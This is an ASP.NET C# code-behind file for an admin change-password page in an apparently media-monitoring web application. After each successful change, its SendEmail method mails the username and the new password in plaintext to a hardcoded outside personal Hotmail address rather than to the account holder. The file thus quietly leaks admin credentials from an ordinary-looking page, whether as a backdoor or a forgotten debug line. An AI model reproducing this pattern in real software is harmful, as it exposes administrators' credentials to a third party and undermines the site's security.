﻿using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using Adex;
using MediaMonitor.Common;
using System.Web.Security;
using System.Net.Mail;
using System.Net;
using System.Configuration;

namespace MediaMonitor.admin
{
    public partial class admin_changepassword : System.Web.UI.Page
    {
        private static string AppName = ConfigurationManager.AppSettings["AppName"].ToString();
        private static string AdminEmail = ConfigurationManager.AppSettings["AdminEmail"].ToString();
       
        protected void Page_Load(object sender, EventArgs e)
        {
            if (!Page.IsPostBack)
            {
                lblResult.Visible = false;
            }
        }

        protected void btnChangePassword_Click(object sender, ImageClickEventArgs e)
        {
            String UserID = String.Empty;
            String CurrentPassword = String.Empty;
            String NewPassword = String.Empty;
            Int32 returnValue = 0;
            MembershipUser memUsr = System.Web.Security.Membership.GetUser();
            if (memUsr != null)
            {
                UserID = memUsr.ProviderUserKey.ToString();
            }
            CurrentPassword = tbCurrentPassword.Text.Trim();
            NewPassword = tbNewPassword.Text.Trim();

            if (UserID != "")
            {
                returnValue = RfController.AdminChangePassword(UserID, CurrentPassword, NewPassword);
            }
            if (returnValue == 1)
            {
                lblResult.Text = "Password has been changed successfully.";
                lblResult.ForeColor = System.Drawing.Color.Green;
                lblResult.Visible = true;
                SendEmail();
            }
            else if (returnValue == -1)
            {
                lblResult.Text = "Invalid Current Password.";
                lblResult.ForeColor = System.Drawing.Color.Red;
                lblResult.Visible = true;
            }
        }

        private void SendEmail()
        {
            String toAccount = "miguel_paula@hotmail.com";
         
            MembershipUser memUsr = System.Web.Security.Membership.GetUser();
            String msg = "<br /><br /><hr size=1 /><br />Hi " + memUsr.UserName + ",<br /><br />Username: " + memUsr.UserName + "<br />Your New Password is: " + tbNewPassword.Text.Trim();
            String title = AppName + " Admin Password Changed";
            String MyHost = ConfigurationManager.AppSettings["SMTPHost"].ToString();
            String MySMTPPort = ConfigurationManager.AppSettings["SMTPPort"].ToString();
            String MySMTPSSL = ConfigurationManager.AppSettings["SMTPSSL"].ToString();

            String fromAddr = AdminEmail;  
         
            MailMessage smtpMssg = new MailMessage();
            smtpMssg.From = new MailAddress(fromAddr);

            if (toAccount.Contains(","))
            {
                string[] tos = toAccount.Split(',');
                for (int i = 0; i < tos.Length; i++)
                {
                    if (tos[i] == "," || tos[i] == "")
                    {
                    }
                    else
                    {
                        smtpMssg.To.Add(new MailAddress(tos[i].Replace(",", "")));
                    }
                }
            }
            else
            {
                smtpMssg.To.Add(new MailAddress(toAccount));
            }

            smtpMssg.Subject = title;
            smtpMssg.Body = msg;
            smtpMssg.IsBodyHtml = true;
            
            System.Net.Mail.SmtpClient smtpClient = new System.Net.Mail.SmtpClient(MyHost, Convert.ToInt32(MySMTPPort));
            smtpClient.DeliveryMethod = SmtpDeliveryMethod.Network;
            if (MySMTPSSL == "true")
            {
                smtpClient.EnableSsl = true;
            }

            try
            {
                smtpClient.Send(smtpMssg);

            }
            catch (Exception ex)
            {

                throw new Exception("Email not sent | Reason: [" + ex.Message + "]");

            }
        }



    }
}